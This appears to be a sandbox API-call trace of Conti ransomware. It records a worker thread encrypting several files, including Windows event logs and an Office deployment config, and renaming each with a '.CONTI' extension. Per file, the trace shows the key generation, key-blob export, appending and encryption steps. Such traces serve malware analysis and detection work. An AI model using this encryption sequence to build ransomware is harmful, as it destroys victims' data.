	[0093.931] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0718 | out: hHeap=0x1720000) returned 1
	[0093.931] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0094.106] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5678 | out: phKey=0x17d5678*=0x175e570) returned 1
	[0094.106] CryptExportKey (in: hKey=0x175e570, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d567c, pdwDataLen=0x3f7fc54 | out: pbData=0x17d567c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0094.107] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml")) returned 0x80
	[0094.107] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.107] GetLastError () returned 0x0
	[0094.107] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=201796) returned 1
	[0094.107] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x31444
	[0094.107] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.107] SetEndOfFile (hFile=0x34c) returned 1
	[0094.107] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.107] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.107] WriteFile (in: hFile=0x34c, lpBuffer=0x17d567c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17d567c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0094.109] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.109] ReadFile (in: hFile=0x34c, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x31444, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x31444, lpOverlapped=0x0) returned 1
	[0094.113] CryptEncrypt (in: hKey=0x175e570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x31444, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x31450) returned 1
	[0094.113] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.113] WriteFile (in: hFile=0x34c, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x31450, lpOverlapped=0x0) returned 1
	[0094.114] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.114] WriteFile (in: hFile=0x34c, lpBuffer=0x17d5670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17d5670*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0094.114] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.114] CloseHandle (hObject=0x34c) returned 1
	[0094.118] GetProcessHeap () returned 0x1720000
	[0094.118] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17c7588
	[0094.118] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" | out: lpString1="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml"
	[0094.118] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.CONTI") returned="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.CONTI"
	[0094.118] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.CONTI" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.conti")) returned 1
	[0094.118] GetProcessHeap () returned 0x1720000
	[0094.118] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7588 | out: hHeap=0x1720000) returned 1
	[0094.118] CryptDestroyKey (hKey=0x175e570) returned 1
	[0094.118] GetProcessHeap () returned 0x1720000
	[0094.118] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0d30 | out: hHeap=0x1720000) returned 1
	[0094.119] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0095.294] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c8530) returned 1
	[0095.294] CryptExportKey (in: hKey=0x17c8530, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x3f7fc54 | out: pbData=0x17d2b24*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0095.295] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20
	[0096.833] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0096.833] GetLastError () returned 0x0
	[0096.833] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=69632) returned 1
	[0096.833] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.833] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.833] SetEndOfFile (hFile=0x3a8) returned 1
	[0096.833] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.833] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.833] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d2b24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17d2b24*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.835] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.835] ReadFile (in: hFile=0x3a8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.894] CryptEncrypt (in: hKey=0x17c8530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x11000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x11010) returned 1
	[0096.894] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.894] WriteFile (in: hFile=0x3a8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x11010, lpOverlapped=0x0) returned 1
	[0096.894] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.894] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d2b18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17d2b18*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0096.894] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.894] CloseHandle (hObject=0x3a8) returned 1
	[0096.897] GetProcessHeap () returned 0x1720000
	[0096.897] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.897] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx"
	[0096.897] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.CONTI"
	[0096.897] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.conti")) returned 1
	[0096.906] GetProcessHeap () returned 0x1720000
	[0096.906] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.906] CryptDestroyKey (hKey=0x17c8530) returned 1
	[0096.906] GetProcessHeap () returned 0x1720000
	[0096.906] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17406b8 | out: hHeap=0x1720000) returned 1
	[0096.906] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0096.906] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17e8b50 | out: phKey=0x17e8b50*=0x17c8530) returned 1
	[0096.906] CryptExportKey (in: hKey=0x17c8530, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e8b54, pdwDataLen=0x3f7fc54 | out: pbData=0x17e8b54*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0096.908] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20
	[0096.908] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0096.908] GetLastError () returned 0x0
	[0096.908] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=69632) returned 1
	[0096.908] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.908] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.908] SetEndOfFile (hFile=0x3a8) returned 1
	[0096.909] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.909] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.909] WriteFile (in: hFile=0x3a8, lpBuffer=0x17e8b54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17e8b54*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.910] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.910] ReadFile (in: hFile=0x3a8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.917] CryptEncrypt (in: hKey=0x17c8530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x11000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x11010) returned 1
	[0096.917] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.917] WriteFile (in: hFile=0x3a8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x11010, lpOverlapped=0x0) returned 1
	[0096.917] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.918] WriteFile (in: hFile=0x3a8, lpBuffer=0x17e8b48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17e8b48*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0096.918] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.918] CloseHandle (hObject=0x3a8) returned 1
	[0096.919] GetProcessHeap () returned 0x1720000
	[0096.919] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.919] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx"
	[0096.919] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.CONTI"
	[0096.919] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.conti")) returned 1
	[0096.920] GetProcessHeap () returned 0x1720000
	[0096.920] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.920] CryptDestroyKey (hKey=0x17c8530) returned 1
	[0096.920] GetProcessHeap () returned 0x1720000
	[0096.920] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741450 | out: hHeap=0x1720000) returned 1
	[0096.920] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0096.920] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17e7b58 | out: phKey=0x17e7b58*=0x17c8530) returned 1
	[0096.920] CryptExportKey (in: hKey=0x17c8530, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e7b5c, pdwDataLen=0x3f7fc54 | out: pbData=0x17e7b5c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0096.921] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20
	[0096.921] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0096.921] GetLastError () returned 0x0
	[0096.921] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=69632) returned 1
	[0096.921] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.921] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.921] SetEndOfFile (hFile=0x3a8) returned 1
	[0096.921] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.921] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.922] WriteFile (in: hFile=0x3a8, lpBuffer=0x17e7b5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17e7b5c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.923] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.923] ReadFile (in: hFile=0x3a8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x11000, lpOverlapped=0x0) returned 1
	[0096.930] CryptEncrypt (in: hKey=0x17c8530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x11000, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x11010) returned 1
	[0096.930] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.930] WriteFile (in: hFile=0x3a8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x11010, lpOverlapped=0x0) returned 1
	[0096.931] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.931] WriteFile (in: hFile=0x3a8, lpBuffer=0x17e7b50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17e7b50*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0096.931] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.931] CloseHandle (hObject=0x3a8) returned 1
	[0096.933] GetProcessHeap () returned 0x1720000
	[0096.933] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.933] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx"
	[0096.933] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.CONTI"
	[0096.933] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.conti")) returned 1
	[0096.933] GetProcessHeap () returned 0x1720000
	[0096.933] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.933] CryptDestroyKey (hKey=0x17c8530) returned 1
	[0096.933] GetProcessHeap () returned 0x1720000
	[0096.933] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d16a0 | out: hHeap=0x1720000) returned 1
	[0096.933] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0099.172] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17e8908 | out: phKey=0x17e8908*=0x17c7930) returned 1
	[0099.172] CryptExportKey (in: hKey=0x17c7930, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e890c, pdwDataLen=0x3f7fc54 | out: pbData=0x17e890c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0099.173] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml")) returned 0x20
	[0099.173] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8
	[0099.173] GetLastError () returned 0x0
	[0099.173] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=614) returned 1
	[0099.174] SetFilePointer (in: hFile=0x3b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x266
	[0099.174] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.174] SetEndOfFile (hFile=0x3b8) returned 1
	[0101.775] SetFilePointer (in: hFile=0x3b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.776] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.776] WriteFile (in: hFile=0x3b8, lpBuffer=0x17e890c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17e890c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0102.634] SetFilePointer (in: hFile=0x3b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.634] ReadFile (in: hFile=0x3b8, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x266, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x266, lpOverlapped=0x0) returned 1
	[0102.634] CryptEncrypt (in: hKey=0x17c7930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x266, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x270) returned 1
	[0102.634] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
